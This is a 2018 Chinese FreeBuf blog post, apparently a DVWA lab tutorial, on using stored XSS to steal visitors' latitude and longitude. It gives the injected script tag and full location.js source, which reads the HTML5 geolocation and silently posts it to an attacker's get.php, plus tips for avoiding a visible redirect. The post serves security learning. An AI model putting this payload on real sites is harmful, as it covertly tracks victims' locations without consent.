freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

看我如何通过XSS获取经纬度
FreeBuf_301307 2018-05-10 12:30:01 660046

* 本文作者:Str3am,本文属FreeBuf原创奖励计划,未经许可禁止转载

Let's do something interesting with XSS!

ubtkhq4wky44pjrw0wdl6dfzdu.png

前段时间刷微信,在公众号@信安之路的推送里发现了一篇Bwapp的XSS文章,里面利用XSS不仅仅是简单地弹窗,还提到了获取键盘记录,经纬度等操作。心血来潮,觉得获取经纬度很有意思,于是就有了这篇博文。

新手指南:Bwapp之XSS –stored

这篇文章是在Bwapp平台上复现的,联系到之前分析过的漏洞平台,这次的我打算在DVWA上做。文章介绍的方式是通过被攻击者点击评论里的链接,转到一个页面获取经纬度信息并发送到攻击者的服务器上。我对此加以了一点小小的改进,留言过后,只需要被攻击者访问查看留言的界面,就会神不知鬼不觉地将经纬度信息发送给攻击者。  实现的过程非常的简单,利用了网络攻防课上盗取cookie的思路。关键是获取经纬度的js操作。

uttu3gvxr1f9axmua2uxr2ehwu.png

利用的是html5的geolocation获取经纬度信息,百度一下很容易查到相关的用法,这里就不再赘述,但是这种方法获取经纬度的条件及其苛刻,需要电脑打开定位服务,并且赋予浏览器使用位置的权限。

我用的是win10系统,在电脑上发现定位服务可以赋予权限的只有Edge浏览器,其他浏览器使用这个定位则显示用户关闭了定位服务,而且就算在Edge浏览器里,获取当前位置的时候浏览器还会询问用户是否同意,所以这种方法在真实攻击环境下获取到位置的难度还是挺大的。经过一番折腾后发现电脑访问百度地图等定位软件定位,要么就是定位不到位置,要么定位十分模糊,连精确都算不上,没有手机上这么方便,很可能也是因为windows位置权限的原因。

书归正传,现在我们来说一下实现的过程。

b77nislep45f8lh24yy74jklhx.png

通过geolocation获取到经纬度信息后,post到攻击者的服务器上即可,这里的get.php即为接收并记录信息的脚本文件。get.php内容如下:

uttu3gvxr1f9axmua2uxr2ehwu.png

当geolocation获取位置失败时也会返回错误码方便调试。

n6femawifcg14okalir1ixfhnz.png

post函数即一个简单地创建form窗口提交的函数。

5u6drfhj8kaqn3ctdbs5v0e1gi.png

在DVWA的XSS_stored模块键入以下留言:

<script src="http://127.0.0.1/Location/location.js"></script>

q7kvnzz575dk7wpwrcpsl6561o.png

然后当被攻击者访问这个页面的时候,他的位置信息就会被记录下来。可以看到精确度还是很高的。

7h87gzxz71kvgofqzbnb7bhjjo.png

关于页面跳转的问题,被攻击者在访问留言板后,会跳转到发送信息的界面去,解决方法,在创建元素的时候创建一个iframe元素,在这个iframe里创建form提交,或者使用ajax就不会出现跳转的问题。

比较坑的一点是,使用geolocation的时候,可能会因为GPS信号等原因使得所在位置和判定位置相差甚远的情况,请耐心尝试,因为我也没有发现什么好办法 (逃,正常情况下误差在20m左右。

附上location.js代码:

var error="";
var long=0;
var lat=0;
if (navigator.geolocation)
{
    navigator.geolocation.getCurrentPosition(showPosition,showError);
}
else
{
    error="Brower do not support"
}
function showPosition(position)
{
    alert("纬度: " + position.coords.latitude + "\n经度: " + position.coords.longitude);
    long=position.coords.longitude;
    lat=position.coords.latitude;
    post('http://127.0.0.1/Location/get.php',{'LONG':long,'LAT':lat,'ERROR':error});
}
function showError(error)
{
    switch(error.code) 
    {
        case error.PERMISSION_DENIED:
            error="PERMISSION_DENIED"
            break;
        case error.POSITION_UNAVAILABLE:
            error="POSITION_UNAVAILABLE"
            break;
        case error.TIMEOUT:
            error="TIMEOUT"
            break;
        case error.UNKNOWN_ERROR:
            error="UNKNOWN_ERROR"
            break;
        default:
            break;
    }
    post('http://127.0.0.1/Location/get.php',{'LONG':0,'LAT':0,'ERROR':error});
}
function post(URL, PARAMS) {        
    var temp = document.createElement("form");        
    temp.action = URL;        
    temp.method = "post";        
    temp.style.display = "none";        
    for (var x in PARAMS) {        
        var opt = document.createElement("textarea");        
        opt.name = x;        
        opt.value = PARAMS[x];        
        // alert(opt.name)        
        temp.appendChild(opt);        
    }        
    document.body.appendChild(temp);        
    temp.submit();                
}

* 本文作者:Str3am,本文属FreeBuf原创奖励计划,未经许可禁止转载

# xss # 经纬度
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_301307 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
XSS
FreeBuf_301307 LV.2
这个人很懒,什么也没留下
  • 2 文章数
  • 0 关注者
浅析同源方式执行(SOME)攻击
2018-05-11